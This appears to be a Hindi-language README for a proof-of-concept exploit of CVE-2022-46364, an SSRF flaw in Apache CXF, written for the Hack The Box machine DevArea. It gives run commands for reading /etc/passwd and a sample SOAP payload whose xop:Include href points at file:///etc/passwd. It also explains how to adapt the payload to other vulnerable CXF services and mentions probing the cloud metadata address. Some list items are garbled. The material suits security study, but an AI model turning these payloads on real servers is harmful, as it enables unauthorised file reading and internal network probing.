
CVE-2022-46364 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, एक Apache CXF SSRF भेद्यता जो कि क्राफ्टेड MTOM/XOP SOAP अनुरोधों के माध्यम से मनमानी फ़ाइल पढ़ने और आंतरिक नेटवर्क प्रोबिंग को सक्षम बनाती है।
CVE-2022-46364 का प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट — Apache CXF सर्वर-साइड अनुरोध जालसाजी (SSRF) भेद्यता MTOM/XOP अनुरोध प्रसंस्करण में।
CVE-2022-46364 Apache CXF के 3.4.10 और 3.5.5 से पहले के संस्करणों को प्रभावित करता है। जब SOAP सेवा पर MTOM (मैसेज ट्रांसमिशन ऑप्टिमाइज़ेशन मैकेनिज़्म) सक्षम होता है, तो CXF अनमार्शलर <xop:Include> तत्वों के अंदर href विशेषता को गलत तरीके से मान्य करता है। href को cid: URI तक सीमित करने (जैसा कि W3C XOP विनिर्देश द्वारा आवश्यक है) के बजाय, CXF मनमाना URI को डीरेफरेंस करता है — जिसमें file://, http://, और https:// शामिल हैं।
यह एक अप्रमाणित हमलावर को अनुमति देता है:
file:///etc/passwd)http://169.254.169.254/)यह PoC Hack The Box मशीन के विरुद्ध लिखा और परीक्षण किया गया था:
लक्ष्य एंडपॉइंट: http://devarea.htb:8080/employeeservice
लेकिन लक्ष्य WSDL के अनुसार XML पेलोड में छोटे बदलाव इसे लक्ष्य वातावरण के अनुकूल बनाते हैं।
डिफ़ॉल्ट URL http://devarea.htb:8080/employeeservice है।
python3 CVE-2022-46364.py --file /etc/passwd
python3 CVE-2022-46364.py --url http://target:8080/employeeservice --file /etc/passwd
python3 CVE-2022-46364.py --file /etc/passwd --verbose
महत्वपूर्ण: यह स्क्रिप्ट HTB DevArea WSDL संरचना के लिए हार्डकोडेड है। किसी अन्य कमजोर Apache CXF सेवा के विरुद्ध इसका उपयोग करने के लिए, आपको लक्ष्य के WSDL अनुबंध से मेल खाने के लिए
build_payload()के अंदर SOAP पेलोड को संशोधित करना होगा।
लक्ष्य से WSDL प्राप्त करें:
curl http://target:8080/employeeservice?wsdl
सेवा विवरण पहचानें:
targetNamespace (जैसे http://devarea.htb/)submitReport)<arg0> के साथ नेस्टेड <content>)build_payload() में पेलोड संशोधित करें:
xmlns:dev="...")<dev:submitReport>)<arg0>)<xop:Include href="file://{filepath}"/> रखें जिसे सर्वर अटैचमेंट के रूप में प्रोसेस करेगाइस WSDL स्निपेट को देखते हुए:
<wsdl:definitions targetNamespace="http://example.com/">
<wsdl:operation name="uploadDocument">
<wsdl:input message="tns:uploadDocument"/>
</wsdl:operation>
</wsdl:definitions>
आपका पेलोड इस प्रकार होना चाहिए:
<soapenv:Envelope xmlns:soapenv="..." xmlns:ex="http://example.com/" xmlns:xop="...">
<soapenv:Body>
<ex:uploadDocument>
<document>
<xop:Include href="file:///etc/passwd"/>
</document>
</ex:uploadDocument>
</soapenv:Body>
</soapenv:Envelope>
Content-Type: application/xop+xml के साथ एक multipart/related HTTP अनुरोध तैयार करती है।<xop:Include href="file:///etc/passwd"/> तत्व रखा जाता है।file:// URI को डीरेफरेंस करता है।<return> तत्व के अंदर वापस की जाती है।Content: के बाद base64 स्ट्रिंग निकालती है और उसे डीकोड करती है।यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन प्रणालियों का परीक्षण करने से पहले हमेशा स्पष्ट अनुमति प्राप्त करें जिनके आप मालिक नहीं हैं। लेखक इस स्क्रिप्ट के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
MIT लाइसेंस — उचित श्रेय के साथ उपयोग, संशोधन और साझा करने के लिए स्वतंत्र है।
स्क्रिप्ट चलाते समय --url अपडेट करें।
| संसाधन | लिंक |
|---|
| Apache CXF सलाह | CVE-2022-46364 |
| NVD प्रविष्टि | NVD — CVE-2022-46364 |
| Apache Jira (CXF-8706) | CXF-8706 |
| W3C XOP विनिर्देश | XML-बाइनरी ऑप्टिमाइज़्ड पैकेजिंग |
| Penligent गहन विश्लेषण | CVE-2022-46364 PoC व्यवहार में |
| HTB DevArea | Hack The Box — DevArea |